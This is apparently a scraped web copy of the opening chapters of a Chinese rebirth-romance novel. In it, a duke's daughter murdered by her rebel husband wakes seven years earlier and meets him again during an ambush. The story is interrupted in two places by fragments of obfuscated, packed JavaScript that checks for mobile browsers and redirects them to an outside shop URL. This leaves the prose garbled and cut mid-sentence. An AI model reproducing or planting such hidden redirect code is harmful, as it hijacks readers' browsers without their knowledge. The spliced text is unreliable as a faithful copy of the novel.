《非梧不栖(重生)》 1. 楔子 狂风推开窗扇,雨珠敲打妆台,昏暝的内室一霎亮如白昼。 隆隆雷声掩盖了三更的梆子,一袭单薄如纸的身影从榻上挺身坐起。 郑来仪出了一身薄汗,寝衣贴在后心,肤感黏腻。纤长的指甲攥紧锦被一角,隔着缎面将掌心掐出红痕。 直到痛感后知后觉地传来,她才长出了一口气,掀被下床。赤着足踩上榻边摆着的木屐,哑声唤贴身婢女。 “王妃,怎么了?” 外间匆忙进来一人,操着不甚标准的汉话。郑来仪闻声蹙眉。 来的不是紫袖,是他们送来房里的新罗婢,叫顺姬的。 顺姬快步走向窗边,把吹开的窗扇重新阖上,风雨声瞬间小了许多。她一转头,见主人已然起身,连忙掌灯上前。 “紫袖不在,婢子给您倒杯茶吧……” 郑来仪木然坐倒在床沿。乌黑长发似飞瀑,一半贴在胸口,一半垂至腰间。她一身暗绯色寝衣,和身后螺钿髹漆的床榻融为一体,像木头上嵌刻的花鸟,栩栩如生却难以振翅。 如同被虎口吞噬了一半的祭品。 顺姬端着茶盘过来,在她面前屈膝半跪下,杯盏中飘出炒制大麦的香气。 “王妃又做噩梦了么?倒春寒厉害,喝杯热茶,婢子服侍您再睡下吧。” 她眼型细长,脸部的线条柔和,讲话时轻声细气的。 郑来仪摇了摇头,半晌视线才聚焦,顺姬正一脸关切地看着她。 对。紫袖不在,她已经走了两日了。 算算日子,昨日怎么也该回来了,可她等到天黑,直到最后被门口守卫请回了内院。 “几时了?” “娘娘,刚敲过三更。” 郑来仪抬眼看她。顺姬来中原不久,说话偶尔还会带出家乡口音。她来的地方,惯将身份高贵的妇人称“娘娘”。可是在大祈,这样的称呼实属大不敬。 毕竟她身份再贵重,不过是身为人臣的郡王妃而已。 一开始负责训导的嬷嬷还会着意更正顺姬,可慢慢的,大家都已经不再试图纠正她这危险的习惯。 身为王府唯一的女主人,郑来仪数月不曾这里,只能从下人们的只言片语中猜测外面发生了什么。 郡王府里的下人们从风声鹤唳人人自危到喜形于色,待她的态度却愈发小心谨慎。 外围守备日渐森严,府兵的服制已经悄然更换——这还是在郑来仪试图离开内院时发现的,最终费劲口舌,才说服态度强硬的士兵允许紫袖出门,替她采买些物事。 下人们常常在王妃看不见的地方低声议论,有人说她没有身为金丝燕的自觉,很快便要享有一人之下万人之上的尊荣,整日里面上却不见半分笑容,若是和长辈住在一起,定要被嫌弃斥责。 也有人说你们难道不知王妃的出身,如今她还怎么笑得出来? ——什么出身? ——那可是国公爷的嫡女,何等尊荣不曾加身,眼皮子哪有你想象的那么浅? ——可郑国公他…… 议论到此戛然为止。因王爷曾经下过命令,严禁在府中谈论前朝的话题。 严嬷嬷算起来也是王府中的老人,就是因为在王妃跟前闲嚼了几句街头听来的流言,便被主子毫不留情地杀了。 东院里鹤纹铺地的鹅卵石上至今还有没能洗得净的血色。 “顺姬,你想家么?” 枯坐着的王妃突然出声,叫顺姬吓了一跳。她仰头打量,烛火映照在王妃精致却无生气的脸上,一半明、一半暗。 “婢子……不想。” “那你想回家么?”郑来仪看着顺姬那张干净简单,藏不了太多的心思的脸。 ——这话听来多余,既然不想家,又怎会想回家? 她被安排在王妃身边贴身照顾,除了身为新罗婢,素以性格温和、善于服侍而著名,还因为她来自异乡,语言的障碍让她没办法多嘴。 顺姬想了想,还是试探着问:“王妃,您是想家了么?” 若是训导嬷嬷在,必然要呵斥她:王妃乃是郡王府的女主人,她的家就是咱们郡王府,这等挑唆引导的话,是何居心?! 她避开王妃的注视,从一旁的架子上取下罩袍,披上主子削瘦的肩膀。 郑来仪的声音低不可闻:“外面是不是已经变天了?” 顺姬微怔了一刻,方才应道:“是啊娘娘,这雨来得好急……” 郑来仪点头,将抿了一口的茶盏放回去,解开肩上的袍子。 顺姬见她似乎要重新睡下,松了口气,端着茶盘起身朝外间走。 “如今外面不太平,在府里最是安全,娘娘只是做了噩梦,等明日一早婢子陪您在园子里走走,会好的、会好的……” 她喃喃安慰着,将茶盘搁在几上。刚一转身,一道黑影兜头而来,瞬间便失去了知觉。 - 夜雨来去匆匆,乌云遮住月亮。昏暗城衢中,有人影迅速穿过空旷的街道。 郑来仪披着皂色的兜帽披风,下人的衣服款式笨重,料子是厚毡布,领口的系带随着她奔跑的动作卡在脖颈,没一会已经勒出一条淡淡的红色。 她一只手拉住系带去缓解窒息感,跑了没几步便觉得这披风实在累赘,干脆将系带解开,“哗啦”一声披风落在了身后,扑面的寒风顿时吹冷了额头的汗。 没关系。跑得快,便不会觉冷了。 从郡王府后门出来后抄小道,约莫跑过了两座坊市,郑来仪才敢上大道。 她张着口,发出粗重地喘息声,冷风如刀片一样刮过喉咙。 玉京城街道南北纵横,如星罗棋布,而她曾经不知多少次乘着轿辇或肩舆经过。 鞋子已经不知在何处跑掉了一只,横穿中轴线万祀大街进入西城时,另一只鞋子也掉了。 ——快了,就快到侍贤坊了。 ——再有两个拐角就到了,郑来仪从安婶婶的甜水铺子门前飞奔而过。 ——穿过这个牌楼就是了,“敕建国公府”的牌匾渐渐显露在她眼前。 肩上的帔子已经滑落,一头在地上拖曳着,和足上的罗袜一样被泥水染成褐色,她的脚步突然顿住了。 隔着一条街,她遥遥看清了国公府门楣上高悬着的、黑白的丧幡。 全身力气似被抽干,脊背贴上一片冰凉坚硬。国公府门前镂刻瑞兽的影壁上,单薄的身影如被钉死在巨幅枷锁上的囚徒。 郑来仪努力去分辨那门头上悬挂着布料的颜色,一时间眼中却只剩黑白两色…… 倏地,面前的朱漆大门后腾起一道火光,如一条红色巨龙。灼灼热意顿时扑面而来。 “阿耶!!母亲!!!” 郑来仪失声惊叫,奔出没两步便被自己的帔帛一跤绊倒,面朝下摔在湿滑的青砖路面上。 顾不得疼痛,她努力站起身,却被一股霸道的力道直接拉起。 看清来人,她眼中一时惊喜:“梧郎……” “我若是你,此刻便不会过去。王妃。” 男人声音的寒意森森,如一阵冷风,吹息她眸中的光。 叔山梧一身黑衣,对面闪烁的火光为他挺拔身型打上一圈血色的轮廓。 披坚执锐的军士似从地底冒出的阴兵,已将他们所处的这片空地迅速围拢。 烈火熊熊燃烧着,女人惊恐的惨叫声混杂在建筑倒塌的巨响里,郑来仪浑身的汗毛都竖了起来,她想要回家,却被箍住动弹不得。 “你要做什么?!!他们是我家人!叔山梧!!” “阿梧,你先去吧,这里交给我们。”远处有人这么说。 叔山梧一只手攫住郑来仪,语气森冷:“不用,这一个我亲自料理。” 郑来仪越是挣扎,就越是被困得更紧,她只能绝望地朝着王府大喊:“阿耶!!娘亲!!!” 除了毕拨的木材燃烧声,无人应答。 叔山梧微微仰头,幽黑的瞳孔倒映远处的火光。他冷冷地笑起来,露出森白的牙齿,平静中带着股疯狂:“不用喊了,你阿耶早就听不见了,喏——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158432|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他下巴微扬,朝国公府的门头一点,“——丧幡都已悬了七日了……” 郑来仪呕出一口鲜血。 她转过身,揪紧叔山梧的衣领,恸极也恨极地哑着声音:“真的是你,是你……干的?!” “我叔山梧连皇帝也杀得,区区一个郑国公,有什么杀不得?” 叔山梧的声音轻飘飘的,却有兵士壮声附和。 他身后,叛军手执兵戈严阵以待,泛着寒光的剑林中旌旗飘扬,金线描的“叔山”二字在旗帜深暗的底色上熠熠闪光。 “他们是……我家人,我父亲他、他对你不薄……” 郑来仪嘶哑地控诉,人群中响起嘘声,很快被叔山梧高亢的声音压制。 “郑国公虚伪恋权,沉迷纵横之术,纵其党羽构陷于内,陷杀多少良将!我叔山梧除恶务尽,今日便要将国公府上下满门尽灭……” 她耳中轰鸣,一瞬间听不见任何声音,只能看见叔山梧薄唇翕动。 “世人看来你郑来仪是国公贵女高不可攀,于我却不值一文。” 他睨着郑来仪,一字一句,干脆而凉薄。 “我当年娶你,不过是权宜之计。” 郑来仪仰头,男人那张硬朗俊挺的脸上涌动着疯狂的戮意,将眉眼都染红了。 叔山梧和她见过的任何男人都不一样,尖锐、高傲,如同鸩鸟羽毛,又如深渊崖底,有多危险,便有多迷人。 怦然心动的郑来仪一眼沦陷,靠近他,得以嫁给他,尝试读懂他,将自己全然托付,一度虔诚地向往着和他两情相悦,携手到老。 等到猛然醒悟,已经太迟。 世间夫妇,固不可彼此相仇,亦不可过于情笃。 遑论这许久以来,只有她一人情笃,更是巨大笑话。 她牙关颤抖着,声音彻底冷了下来:“叔山梧……你这个魔鬼。” “郑来仪,我早就说过,不要对我报任何期待。” 郑来仪闻到他身上浓重的血气,似乎他是一路厮杀至此时、此刻、此地。 龙吟声起,她看清叔山梧的手中紧握着什么东西。 是一把出了鞘的短匕。 她扯开嘴角,惨然地笑起来。 “父亲、母亲!女儿不肖所托非人,悔之晚矣!!苍天在上,来仪他生誓不落红尘!我与叔山梧——” 怨毒的赌咒戛然而止,未等到她将话说完,冰凉的薄刃已经扎进滚热的胸腔。 周遭的世界天旋地转,如同儿时看过的万华镜,冲天的火光、红色的月亮,和他冷峻的面容,通通在视线中变了形。 叔山梧浑身浴血,如同穿着大红色的婚服,好像他们大婚的那一夜。 ——不,大婚那夜,他从头至尾都不曾出现过。 叔山梧俯身,一只手抬起郑来仪的下颌。 ——壮起胆子向他表白的那日,他也是这样逼近,用探究的目光寸寸描摹着自己。 叔山梧将另一只手覆上来,两手交握在自己胸口的匕首柄上,骨节隐隐泛白。他的手很大,手背上有一道长长的疤,已经淡得看不出颜色。 ——那是初见时为她受的伤。 那一回,也是同样这一把匕首,他引着她握住,单手拢住她交叠颤抖的双手,在她耳边低声说了句什么。 …… 带着绯色的少女绮梦被鲜血冲刷,惟余锋利的碎片,如银瓶乍破水浆迸,划破了她最后的幻想。 她失焦的目光重又凝聚,痛感回到身体,每一下呼吸都如针扎。朦胧余光中看见叔山梧的双手仍旧扶在刀柄,正随着她节奏错乱的呼吸上下起伏。 他那双深邃的眼睛,危险而迷人。 他杀过的人那么多,都是用这样冰冷的眼神看着他们咽气,享受着将死之人狰狞扭曲的面容么? “……愿你叔山梧,纵有一日忝窃天下,更无一人共享河山……” 郑来仪缓缓阖上眼,唇边犹带着凄凉笑意。 持刀之人眸中燃烧的疯狂迅速熄灭,惟余寂然死色。 2. 林暗草惊风 郑来仪在剧痛中猛然睁眼。 她急促地倒气,过了许久才意识到那疼痛并非从心口传来。 脚边的酸枝箱匣被撞得脱离了原位,木匣的棱角包镶着铁叶,郑来仪伸手按在额角,恍惚了许久才确认自己方才应该是撞到了这里,才疼得钻心。 “小姐!你没事吧小姐?!” 车厢外传来急切的喊声。郑来仪的手按在头上,动作依旧迟缓,将周遭环境来回打量了三遍,才意识到自己正身处一辆颠簸的马车内。 她此时穿了一身湖水绿的及踝长裤,外罩着件缺骻觳纹披衫,下摆开叉,脚上一双软底透空的锦靴,是便于出行的装束。 披衫对襟处用系带扣在一处,露出脖颈以下一片光滑如瓷的雪白肌肤。 郑来仪抚住胸口,呼吸节奏慢了下来。 前世的情形如潮水般涌进大脑,那被匕首刺中的地方,当下并无半分异样。 “小姐!小姐你还好吧?!” “……我、我没事,”她闭了闭眼,只觉马车外的声音熟悉,滞后了半晌方应声,“——泰叔?” 赶车的郑泰松了口气。小姐这一路身体就不大舒服,方才事发突然,他只能拼命勒马改道,调转方向猛了些,颠簸时听见车厢里的动静,小姐应该是撞到了哪里。 好在她除了反应迟缓了些,声音听上去并没有太大的异样。 “只是撞了下脑袋,没有大碍。外面怎么回事?” 郑泰焦急道:“这一路都走的官道,没料到这些马贼如此大胆,跟了咱们一路,方才竟堂而皇之露了相!” 马贼?郑来仪一怔。 她掀开帘朝外望。 外面天色渐暗,马车正疾驰在野草丛生的山道上,远处山势奇谲,森耸连云,看方向,他们已经脱离了大道,正朝着大山深处趋近。 郑泰咬着牙,“——那帮贼人神出鬼没,只冲咱们射了一箭,却又没有靠近,或许是去招呼同伙……这原路线不能再走了,咱们眼下只能赌一赌!” 他是行伍出身,也算颇有胆识,老爷夫人放心将小姐交给他,由他陪同出来游历这一趟,他便是拼了这条命,也必须把小姐全须全尾地带回去! 郑来仪缓缓放下车帘,捏了捏眉心,半晌才道:“泰叔,如今是何年份?” “啊?今年是、是贞端廿一年啊……小、小姐,你没事吧?头疼得很厉害么?” 郑泰语气焦虑,莫不是方才那一撞把脑子撞坏了?来仪小姐一向聪明,若是有个好歹,可怎么和老爷夫人交代…… 郑来仪沉默不语。 贞端二十一年,自己竟重生在了七年前。 她在车厢中颠簸着,头脑一时清明。这帮人绝不是什么剪径抢劫的贼人。 “他们不是马贼,是叛军。” 骏马高声嘶鸣,被郑泰奋力勒住,焦躁地来回原地踏步,在泥泞的山道上踩出一片蹄印。 郑来仪掀开车帘,干脆利落地下了车,在山道上站定,转身望向来时的路。 郑泰也跟着翻身下车,无措地道:“您说什么?叛军不是应该还在北境,怎么会跑到关内来?小、小姐,你——” 郑来仪动作轻盈地扶着车窗,踏上轮辐,一伸手从车顶毡布上拔下了什么东西。 是方才贼人追赶时射出的一支黑羽箭。郑来仪将箭递给郑泰,抿着唇示意他看。 郑泰忙将箭簇接过。这是一支空心有銎式的双翼簇,多见于北部游牧民族,是大祈北境几个军镇常用的制式。 他心猛地沉了下去,迎着夕阳细看那金属箭头,依稀分辨出篆刻的一个“麒”字。 “是麒临军……他们真的,攻进来了……”郑泰声音发颤。 郑来仪继续沉默。 贞端十三年,北境军阀段良麒率麾下二十万大军举兵南下,以勤王之名起兵作乱,史称“麒临之乱”。如今,这场叛乱已经进入了第八个年头。 这八年里,大祈的驻军在北境与叛军胶着对峙,以无声而惊人的速度日渐消耗着大祈王朝百年积攒下的家业,而中州百姓却并未如何体会到战争的可怕——关内依旧维持着太平景象,传至玉京的战况大多是捷报,顶多成了百姓闲时随口一提的谈资,民众大多认为这始终被拦在关外的麒临军成不了大气候,总有一日会被朝廷一举歼灭。 郑来仪身居玉京,自小长于岁月静好的高门深院,也是被假象欺骗着的皇城百姓中的一员,才会在这一年得知管家郑泰要回蓁州老家盘点生意时,找父亲纠缠了一通,说是长日里闷在府中,头发里都要长菌子了,想趁着泰叔南下的机会,一道去散散心。 郑国公拗不过最宠爱的小女儿,哭笑不得地应允了,只叮嘱郑泰轻车简行,莫要节外生枝。 现在想来,真是个错到离谱的决定。 郑泰看着渐暗的天色,眉头紧蹙。虽已是春末,天气转暖,他却出了一身冷汗。 “他们都已经到了这里,那玉京岂不是……” 郑泰转过头看向郑来仪,见她面朝北方站着,面容沉静,不知在想些什么。夕阳如火,橘红的光照在她精致的脸上,竟隐隐有几分肃杀之气。 “小姐……” 郑来仪转过头来,沉声:“泰叔,我们不能继续坐车,目标太大容易引人注意,你赶紧骑马去报信。” “报信?” “对。叛军人马不多,对我们一击即走,显然是意识到我们并非他们的目标,应当只是从关外攻入的先头部队,只要援兵及时赶到还来得及,所以要快——” 她语气犹豫起来。 去哪里搬救兵呢? 他们从蓁州一路北上,此刻正位于山南东道,往北不到一百里便是扼南北要冲,与玉京不过肘腋之间的重镇霁阳。 霁阳。这个名字唤醒郑来仪脑中的记忆。 在郑来仪 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他脑中如一团乱麻,也无暇去想为何这位国公爷平日捧在掌心、头一回出远门的嫡小姐,突然跟变了个人似的,生出这运筹帷幄的果决气度。 郑来仪见郑泰虽不再反驳,却也梗着脖子并不挪步,长叹一口气,转身走下了山道。 郑泰见状赶紧提步跟上。他抽出腰间佩刀,分开齐腰深的杂草,一边走一边警觉地扫视周遭环境,不让郑来仪脱离自己的视线,突然脚步一顿。 因为前方的郑来仪停了脚步,缓缓回过头来。 郑泰心生不详预感,也跟着转头。 蜿蜒山道上,有马蹄声回荡于山谷中,逐渐逼近他们所在。 山道尽头很快现出形迹:一共三骑马,白马领先,后方两骑黑马在二十步之外紧追不舍。 黑马上是两个劲装短打的汉子,其中一人手持弓箭,另一人手中的鞭子挥出了残影,低吼出声:“休想跑!给我拦住他!!”说话的人操着十分明显的奉州口音。 再看那持弓的,背负的箭筒里只剩下寥寥几支黑羽箭。 郑泰一凛,这二人正是方才意图拦截他们的叛军。 被这二人追着的人一身圆领青袍,皮革束带勒出劲瘦流畅的腰身。此人御马的本事极为高超,上身压低紧贴马背,一手持缰,仅凭破空的风声判断后方箭矢的来向,一双修长的腿夹紧马腹,灵活的控制着战马的方向,在山道上从容避让,速度却不减分毫。 郑泰都忍不住暗叹一声“好俊的身手!” 他压低声音,“小姐,看来这便是贼人一路追击的目标……”没有得到任何回应。 郑泰不由得转头看向身边的人。 郑来仪视线随着那白马上的男子移动,面色隐隐发白。 3. 怃然若隔世 郑来仪没有忘记,贞端二十一年暮春,她和叔山梧便是在这一日初遇。 只是那一回泰叔为引开敌人与她失散,马车险些滚落山谷之际,她被叔山梧救下。 叔山梧如同神兵天降,少年翩翩英姿成了她一见倾心的肇始。 郑泰见郑来仪这副失魂落魄的状态,心下十分不忍:到底是难为了她,国公的掌上明珠何曾身处如此险境,方才一番强自镇定,此刻亲眼见到凶神恶煞的叛军,定然是怕得不行。 他借助灌木的掩盖,朝郑来仪挪步,低声宽慰她:“小姐别怕,有老奴在,定不会让你有事。” 郑来仪目光从马上那人年轻凌厉的眉眼上移开,默然转身,继续向山林深处迈步。 郑泰扭头看一眼山道,犹豫了一瞬,也转过身跟上。 正走了没两步,突然听见一声凄厉嘶鸣,是那持弓的士兵一箭射中了叔山梧的白马,马儿吃痛,前腿一弯,飞驰之势顿时遏住。马上人眼看便要随着马儿一同栽倒,亏得他身姿矫健,果断松缰脱蹬,一手撑在马背,借势翻滚下了马。 叔山梧在下坠时瞥一眼周遭地形,朝着灌木丛生的山林深处滚倒。 他落地后连续翻滚了几下,便借着山石和灌木的遮掩暂时隐藏身型。那两名追兵紧跟在后,已在山道上下了马,各自手持明晃晃的长刀,朝着他落地的方向探了过来。 从郑泰所在的角度,只能隐约看见十步之外,叔山梧被灌木遮盖了大半的身影,他一动不动,也不知是受了伤还是怎么。 郑泰迅速在心中判断了一下形势:虽然不知这被追的人是何身份,但被叛军这么一路追击,想必应当是自己人,这男子虽然骑术不错,但以一敌二还是胜负难料,倘若不敌,他们势必难逃池鱼之灾。 想到这里,郑泰偏过头,对后方压低声音:“小姐,你继续向前,找到山石树木隐蔽自己,老奴去帮这兄弟一把——” 说罢正要起身,却被身后郑来仪一把拉住胳膊。 “别去。” 郑泰只当她害怕,一边继续紧盯着前方逼近的敌人,拍了拍郑来仪放在他臂弯的手背:“小姐别怕,那二人中一个是弓箭手,不擅长近战,我看这兄弟身手不凡,以我们二人未必敌不过,我——” 他转过头,发现不知何时郑来仪竟戴上了幂篱。 “他打得过,你不要去。” 她的声音十分冷静,按住郑泰的手却兀自紧了紧,带着不容置疑的力道。 郑泰只好暂时按兵不动。 叔山梧单膝跪地,蹲伏在一颗合抱粗的古树后。那两名追兵距离他已经不到五步,似是感觉到目标越来越近,向前的脚步也下意识放轻放缓。 那两人背靠着背,警觉地观察着周遭任何一丝风吹草动。一时间除了树叶在风中相互摩挲的声音,只能听见枯木随着脚步应声折断的脆响。 叔山梧奉令连夜出城,一路轻装刻意隐匿行藏,并没有携带大型的兵刃。他伸手到腿边,从靴筒中摸出匕首,无声出鞘,刀刃在茂密的林叶中闪动着寒光。 天色已经暗了下来,幽深的丛林中更难发现刻意躲避的人影,他并没有因此放松警惕,弓着背,如同一只蓄势待发的猎豹,窥伺着敌人的状态,随时准备发起攻击。 寒光一闪而过,郑来仪的呼吸也随之停顿了一霎,看着不远处那道熟悉的背影,听见自己心跳如擂。 她能感觉到血液正在快速地涌向大脑,说不清自己此刻在期待着什么。 贞端二十一年,叔山梧向中原发出示警,率先击退入侵关内的叛军先头部队,后来又随霁阳守备军一道将麒临军大部队拦在霁阳城外,为大祈发起反攻提供了喘息的机会。叔山氏与段良麒在槊方决战,最终大败叛军,其父叔山寻成为了保下大祈社稷的头号功臣。 这一年暮春,便是叔山氏命运的转折点。 从发觉他们是被叛军偷袭时,郑来仪就明白敌人真正的目标是谁。 她回想着叔山梧一路喋血,视线死死地定在他背影,心中涌起强烈的冲动想要立刻出声。 她的手下意识攥紧,不,现在不可以。一旦暴露叔山梧的所在,眼下的安危暂且不论,段良麒已经将北境防线撕开了一道口子,二十万叛军虎视眈眈意图问鼎中原,大祈危在旦夕,身为先锋部队的叔山梧,此刻还不能有事。 老天让她再活一次,不是让她冲动犯蠢的。 她唯一能做的,只能是克制冲动作壁上观,看他有无这个本事脱离虎口。 正出着神,前方不远处埋伏的身影突然暴起,叔山梧已然出手。 他跃起时挥出一把石子,惊得那两个追兵以为是什么暗器,连连后退几步。 叔山梧的判断和郑泰基本一致,首先向那个弓箭手下手。而对方的确并不擅长近战,退避的步伐明显紊乱,尚未来得及站定,叔山梧的刀锋已经攻至面门。 同伴急忙上前从旁夹击,长刀招招攻向叔山梧要害,他从容避开,却也短暂地让那弓箭手脱离了自己的攻击范围。 两个敌人一左一右互相掠阵,三角阵型缓缓朝着郑来仪二人所在之处移动。 郑泰大气也不敢喘,只握紧了郑来仪的手,随着战圈的挪动加快后撤的脚步。那两个叛军越发有余,其中一个领先的分出空暇来朝后方一瞄,竟然发现了异样。 “什么人在那里?!” 其余人均是一惊,叔山梧反应敏捷,为避免腹背受敌,单手向后又挥出一把砂石,要逼躲在暗处的他们现形。 砂石没有什么杀伤力,但他力道不小,势头直击二人面门。郑泰堪堪避开,郑来仪却被一粒不大不小的砂砾砸进眼睛,低呼一声,登时松了郑泰的手。 叔山梧心中起疑,听声音竟是女子。他心念电转,初步判断后方的二人应该并不与叛军一伙,心下多了几分把握。 那两个敌兵显然也是这么想的,估计是遇上了躲藏在此赶路的平民,右边持刀的那个心思敏捷,当下调转方向,朝郑泰他们所在的方向刺了过去。 到了这个时候,郑泰再不能袖手旁观,他抽出腰间佩刀向前疾冲,“当”一声扛住了对方的刀,咬牙将人击退,而后迅速靠到了叔山梧的身侧,与他形成了互为防守之势。 “兄弟,我助你一臂之力!” 叔山梧没有说话,他身 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离郑来仪更近一步的叔山梧如一只离弦的箭,斜刺里冲了出来。 若是他手中有刀,势必能将对方兵刃格开,但匕首毕竟太短小,叔山梧在电光火石间改变了战术,“当啷”一声,飞出匕首击落了离郑来仪胸口只有半寸的刀。 下一瞬便挡在了郑来仪身前,抬手扼住偷袭者的脖颈。 叔山梧五指箍紧,只听对方喉骨“咔咔”作响,眼看就要断气,面上却浮起诡异的微笑。 他心生异样,下一刻耳后一阵劲风,竟是那方才被他搠倒的弓箭手,手持利刃朝他冲了过来。 “兄弟小心!!”郑泰又是一惊。 郑来仪冷眼看着叔山梧抬起手臂,硬生生接下了这一刀。 方才她已经察觉弓箭手并未完全断气,而他同伴临时起意攻击自己,也是为了转移叔山梧的注意力。 她闭了闭眼。可惜了,对方这一刀并不致命。 她知道对叔山梧这样的敌人,一旦错失机会,就再难有活路。 果然,他以闪电之势夺下对方手中的短刀,左手持刃利落地割开了对方的喉咙,再一个反手刺入了另一人的心脏,一套动作如行云流水。 树林中恢复了寂静,暮色将深山笼罩,尸体掩进了荒草,幸存者融入山林变成暗影。 叔山梧转过身,与郑来仪相对而立,她幂篱的轻纱因他略微急促的呼吸轻轻拂动。 二人贴得很紧,她能清楚闻到他身上浓重的血腥味。 半晌,男人退后一步,在她面前单膝跪了下去。 叔山梧弓着身,伸着左手在杂草和土块间摸索了一阵,突然有股淡淡的香气逼近。 他动作微顿,窸窣声响中,面前的少女蹲下身子,伸手到他身前半寸的土中,拔出了什么东西。 “在找这个?”她在问。 是他方才掷出的匕首。 叔山梧短促地勾了下唇角,真是灯下黑。 “多谢。” 他伸手要接,还没碰到,“当啷”一声,她手中的匕首落在了地上。 4. 不如人意深 姑娘家应是忌讳沾了血的兵刃。叔山梧微微扬眉,将匕首从地上捡了起来,刀刃在衣袍上正反擦拭了一回,插回鞘中。 郑泰快步走过来,碰到地上躺着的尸体时还踢了一脚,狠狠怒斥了声“狗贼”,而后关切地问郑来仪,“没事吧小姐?” 郑来仪已经站起身,摇了摇头没有说话。 郑泰一颗心收回了肚子里,转头拉住叔山梧,满脸拜服:“小兄弟,功夫真不错!刚才若不是你——” 叔山梧未有耐心听他将道谢的话讲完,已经走开去查看那两具尸体。 他在那弓箭手怀中摸了一阵,没有找到什么东西,正要转身去搜他同伴,听见郑泰在后面继续热情地询问:“兄弟在哪里服役啊?是霁阳守备军?” 叔山梧动作一顿,警觉地扭头看向郑泰。 他身上的服饰并无明显驻军标识,亦未携带军中统一制式的横刀,普通人是难以准确判断出他来自哪里。 郑泰见他射来冰冷的目光,忙道:“我看你身手不凡,这二人一路追着你,是麒临军已经攻进霁阳城了么?” “你怎知他二人是麒临军?” 郑泰耐心解释:“啊,我们从南边过来的,一路走的官道,半道上遇到过这两个贼人,他们还射中了我们的马车,留下的箭上有麒临军的字样……” 说到这里他才意识到有些奇怪:小姐当时又是如何判断出这二人来自段良麒的手下。 只是还未及多想,叔山梧已经站起身:“他们还未攻进霁阳,但祈州已经失守了。” 郑来仪心一沉。 祈州是山南东道的首府,与玉京不过三百里之隔,若霁阳失守,江淮向玉京的一应供给都将中断,帝都将陷入孤立无援的境地。 郑泰眉眼间亦全是焦虑:“啊呀!咱们只道这段良麒成不了大气候,怎知他们会突然攻破了北境防线——” “突然?” 叔山梧对他这样的说法报以冷笑,“哪有什么突然,冰冻三尺非一日之寒,不过是有人一叶障目……” 他言语中有怒意,却很快意识到没有道理和无辜百姓发火,瞄了一眼旁边身型羸弱的郑来仪,只草草道,“这个时候,你们不该长途出行的。” 关中百姓不知,如今已不再是“远适千里不持寸刃”的太平年代。 郑泰也十分懊悔,他看着脚边的敌军尸体,急切道:“那小将军你——” “叔山梧。”对方简短地自报家门。 “哦,叔山兄弟,你这是要——”他想问他要去哪里,又担心叔山梧认为他刺探军情,话没说得下去。 叔山梧却开口问道:“那山道边停着的是你们的马车?” 郑泰连忙点头:“是啊!”他后知后觉,又道,“——兄弟你的马受了伤吧?” 说到这里他看向郑来仪,心中犹豫要不要提出将马借给叔山梧去报信,反正方才小姐本就已经有了这个念头,自己主动提出应该不算僭越。 叔山梧攥紧了手中的鱼符,果然开口:“能否——” 郑泰正欲答应,始终沉默的郑来仪却突然开了口。 “郎君受了伤,如何纵得了马?” 郑泰一滞,这才发觉叔山梧始终捂着右臂,借着树叶间漏下的微光,还能看见他被染红的手,和指缝间正汩汩涌出的鲜血。方才他便闻到了不小的血腥味,那时还以为只是敌人的。 “啊呀,兄弟你受伤啦?这怎么办?看上去有些严重哇……这个样子还怎么骑马呀?!” 他忧心忡忡,又下意识看了郑来仪一眼。这一回,小姐倒是主动开口了。 “距离霁阳最近的便是荷州守备军,你是要去那里求援么?” 叔山梧转过头,借着微弱的天光再度看向这带着幂篱的少女,这一次带了些意外和审慎,他想起郑泰方才情急之下喊她“小姐”。 是哪家的小姐,这个时候出现在这里? 他抿唇不答,那小姐似乎也未准备从他口中等到答案,只转头看向郑泰。 “——泰叔,不如由你跑这一趟,去荷州城送个信。” “不可。” 还未等郑泰答应,叔山梧就断然拒绝。 事到如今,郑泰自然十分乐意跑这个腿,但他也知道叔山梧身为军人,自然不会愿意让普通百姓去犯险,更何况军情的传递是不容他人代劳的使命。但主子的命令已下,他有些为难地看向叔山梧。 郑来仪意料到叔山梧的反应,不紧不慢道:“军情紧急,耽误不得。再说,我们家的马,叔山将军也未必骑得惯。” 她不管对方是否接受,只朝着郑泰道,“泰伯,你这就出发吧。” 郑来仪转身,从袖中摸出一块玉佩递给郑泰,声音压低:“直接去请荷州守备军增援霁阳,务必要快。” 郑泰晓得轻重,连忙收进怀中,点一点头:“老奴明白。” 说罢又看了一眼旁边神色复杂的叔山梧,想说什么,到底没有多言。 郑来仪抿着唇,看着郑泰消失在夜色中,心跳逐渐放缓。 倘若荷州刺史接到报信及时出兵增援,解了霁阳之围,叔山氏便不会因此一战成名,应当也就不会有后面的故事。 郑泰离开时不放心,多嘱咐了郑来仪几句,她只宽慰他没事,答应他自己会在此地好好等着他回来。 这一回她不会再让自己再置于险地。 郑来仪转过头,看向林间那道修长的人影。对自己而言,最大的危险莫过于此了。 一轮新月挂上梢头,夜枭发出空灵的啼鸣。 叔山梧仍然捂着手臂,他伤口流血的速度慢了不少,呼吸动作看似已如常人无异,但唇色明显浅淡许多。 身负军令的急切一时被心中的疑惑代替,他面无表情地在旁觑着小姐与仆人临别前低声交谈。他能从这主仆二人的衣着气度中判断出,他们并非寻常百姓——那仆从一招一式颇有章法,显然在军中历练过。 至于他的主子……或许是将门之后? 看似深居简出的贵族小姐,却能如此准确地推测出如今战场的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郑来仪翻找出一小瓶金创药,又将那只磕到她头的红酸枝匣子抱了出来。 叔山梧接过她递来的药,扫到她怀中抱着的匣子,也不主动提要帮她拿,只淡淡收回视线:“这车不能就这么留在路上,还是处理掉,里面还有贵重物品么?” 郑来仪摇了摇头。 等到叔山梧三下五除二地将残留的车驾挪至隐秘处,天边那轮弯月已经隐入云后。 他吸了吸鼻子,手臂的伤口处隐隐发麻,应当尽快处理不能再拖:“快要下雨了,后面似乎有个山洞,先去避一避。” 郑来仪微一颔首,乖觉地跟在叔山梧后面,重往密林中走。 